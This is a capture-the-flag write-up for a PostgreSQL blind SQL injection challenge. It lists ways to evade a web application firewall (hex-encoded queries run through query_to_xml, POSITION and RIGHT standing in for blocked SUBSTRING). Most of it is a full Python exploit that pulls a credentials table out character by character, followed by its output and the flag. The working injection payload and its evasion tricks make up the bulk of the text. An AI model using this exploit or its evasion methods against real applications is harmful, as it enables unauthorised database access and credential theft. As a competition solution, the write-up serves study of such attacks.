**Techniqes used to bypass waf**1.  Error based approach to avoid `union` and `select` keywords2.  Used `query_to_xml()` function in postgresql to run a query provided in a string3.  String used in query is hex encoded to bypass waf and later decoded using `convert_from()`4.  To get characters at specified index `POSITION()` and `RIGHT()` are used as `SUBSTRING` is blocked5.  To make things simple, flag is extracted using `regexp`
**Exploit code**```import requests, string
URL = "http://47.242.21.212:8081"query = "select * from target_credentials"query = "".join([str(hex(ord(c))).replace('0x', '') for c in query])
flag = "rwctf"with requests.Session() as s:
	data = {		"username": "",		"password": "hell",	}	res = s.post(URL + '/login', data=data)
	i = 1	while True:
		for c in string.printable:
			payload = '''' or POSITION('{}' in RIGHT(regexp_replace(regexp_replace(XMLSERIALIZE(DOCUMENT query_to_xml(convert_from('\\x{}', 'UTF8'), false, false,'') as text), E'(.*rwct)', ''), E'{}', ''), -{})) = 1  or 'a' similar to 'b'''.format(c, query, '(}.*)', str(i))
			# print(payload)			data = {				"name": payload			}
			res = s.post(URL, data=data)			if "Kill" in res.text:				flag += c				print(flag)				i+=1				break
		else:			flag += '^'			print(flag)			i+=1```
**Output**```rwctf{rwctf{trwctf{t0rwctf{t0-rwctf{t0-hrwctf{t0-h4rwctf{t0-h4crwctf{t0-h4ckrwctf{t0-h4ck-rwctf{t0-h4ck-$rwctf{t0-h4ck-$krwctf{t0-h4ck-$kyrwctf{t0-h4ck-$kynrwctf{t0-h4ck-$kynerwctf{t0-h4ck-$kynetrwctf{t0-h4ck-$kynet-rwctf{t0-h4ck-$kynet-0rwctf{t0-h4ck-$kynet-0rrwctf{t0-h4ck-$kynet-0r-rwctf{t0-h4ck-$kynet-0r-frwctf{t0-h4ck-$kynet-0r-f1rwctf{t0-h4ck-$kynet-0r-f1arwctf{t0-h4ck-$kynet-0r-f1asrwctf{t0-h4ck-$kynet-0r-f1askrwctf{t0-h4ck-$kynet-0r-f1ask_rwctf{t0-h4ck-$kynet-0r-f1ask_trwctf{t0-h4ck-$kynet-0r-f1ask_thrwctf{t0-h4ck-$kynet-0r-f1ask_tharwctf{t0-h4ck-$kynet-0r-f1ask_thatrwctf{t0-h4ck-$kynet-0r-f1ask_that-rwctf{t0-h4ck-$kynet-0r-f1ask_that-Irwctf{t0-h4ck-$kynet-0r-f1ask_that-Isrwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-trwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-thrwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-qrwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-qurwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-querwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-quesrwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-questrwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-questirwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-questi0rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-questi0nrwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-questi0n^```
**FLAG :**`rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-questi0n}`